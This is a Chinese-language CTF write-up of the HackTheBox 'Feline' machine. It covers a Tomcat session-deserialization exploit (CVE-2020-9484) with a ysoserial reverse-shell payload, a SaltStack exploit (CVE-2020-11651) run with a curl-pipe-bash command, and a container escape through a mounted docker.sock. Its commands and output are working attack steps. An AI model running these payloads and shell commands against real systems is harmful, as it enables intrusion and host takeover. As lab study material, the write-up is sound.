image-20200831183205356

recon:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-30 03:47 EDT
Nmap scan report for feline.htb (10.129.6.46)
Host is up (0.16s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds

入口点几乎可以肯定是8080端口的tomcat,9.0.27有一个反序列化session的漏洞(CVE-2020-9484),但是有以下条件:

  1. 攻击者可以控制服务器上的文件名/文件内容;
  2. 服务器上配置使用了PersistenceManager的FileStore;
  3. PersistenceManager配置了sessionAttributeValueClassNameFilter值为“NULL”或者其他宽松的过滤器,使得攻击者可以提供反序列化对象;
  4. 攻击者知道FileStore使用的存储位置到可控文件的相对路径。

8080端口的web可以上传文件,路径未知,暂且认定条件2,3都已满足,那么需要知道文件上传路径

通过上传大文件返回报错:org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. /opt/tomcat/temp/upload_a90a0957_72da_4bbb_ba51_a271dd08bec9_00000016.tmp (Permission denied),但是这个不能利用,因为这是上传文件的临时文件夹,即使利用条件竞争也不行,因为文件名不可控(需要上传*.session)文件。

上传文件名为.的文件可以报错出真正地址:java.io.FileNotFoundException: /opt/samples/uploads/. (Is a directory) 这里的文件名可控。

用ysoserial生成反序列化payload:java -jar ysoserial.jar CommonsCollections4 "命令" > ./test.session 这里要注意这个命令不能是单纯的反弹shell的命令,因为java的Runtime.exec的缘故

1
2
3
cmd="bash -c 'bash -i >& /dev/tcp/10.10.10.10/12321 0>&1'"
command="bash -c {echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"
java -jar ysoserial.jar CommonsCollections4 "$command" > ./test.session

上传之后将JSESSIONID改成../../../../../../../../../../opt/samples/uploads/test 既可getshell顺便拿到user.txt

ifconfig看到还有个docker的interface,断定机器上还有另外的docker container,下载了一个静态编译的nmap,扫了下c段,找到172.17.0.2,再扫了下端口,发现开了4505和4506,谷歌一下发现是saltstack,最近的漏洞CVE-2020-11651,把4506端口转发到本地来:

1
2
目标机器:./iox64 fwd -r 127.0.0.1:4506 -r 10.10.10.10:11112
自己机器:./iox64 fwd -l 11112 -l 4506

然后python exploit.py --exec "curl 10.10.10.10:8888 | bash" 就可以拿到docker容器的root权限的shell了

在容器里转了大半圈,找到个/var/run/docker.sock,这个东西宿主机最好不要挂载到容器里,不然容器可以通过这个socket来跟宿主机的docker服务通信:

1
2
3
4
5
6
7
8
9
10
11
root@2d24bf61767c:/# curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json
HTTP/1.1 200 OK
Api-Version: 1.40
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.8 (linux)
Date: Mon, 31 Aug 2020 11:34:03 GMT
Content-Length: 1191

[{"Id":"2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2","Names":["/saltstack"],"Image":"188a2704d8b0","ImageID":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9","Command":"/usr/bin/dumb-init /usr/local/bin/saltinit","Created":1593520419,"Ports":[{"PrivatePort":22,"Type":"tcp"},{"IP":"127.0.0.1","PrivatePort":4505,"PublicPort":4505,"Type":"tcp"},{"IP":"127.0.0.1","PrivatePort":4506,"PublicPort":4506,"Type":"tcp"},{"IP":"127.0.0.1","PrivatePort":8000,"PublicPort":8000,"Type":"tcp"}],"Labels":{},"State":"running","Status":"Up 3 days","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"7ac0e927f36a740ff0164c013a204c893bb941df679739533a6a35bd585116c0","EndpointID":"94b3d2cd854a897659cbe90daed26d55c8f94715d835aa2dd1cd68914cbb4df2","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]}]

这样就可以知道自己所在的容器的容器名和镜像名了。当然可以做一些更邪恶的事

创建一个新建container的配置文件,其中将宿主机的/root/挂载到容器的/host_root/目录下。注意修改镜像名:

1
echo -e '{"Image":"188a2704d8b0","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/host_root"}]}' > container.json

创建一个新的container,使用上面的配置文件:

1
2
3
root@2d24bf61767c:/tmp# curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
<container.json)" http://localhost/containers/create
{"Id":"c54e51bcc5f0ed1fd4f4d6826c51876015054d26e39f50f542e3ef4c471e10cc","Warnings":[]}

启动上面的container,注意修改container id:

1
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/c54e5/start

然后用socat去连接这个socket做持久化交互:

1
2
3
4
5
6
socat - UNIX-CONNECT:/var/run/docker.sock

POST /containers/c54e5/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

这样之后就进入了容器的交互模式,可以进入/host_root目录,实际上就是宿主机的/root目录了。剩下的你想干啥就能干啥了。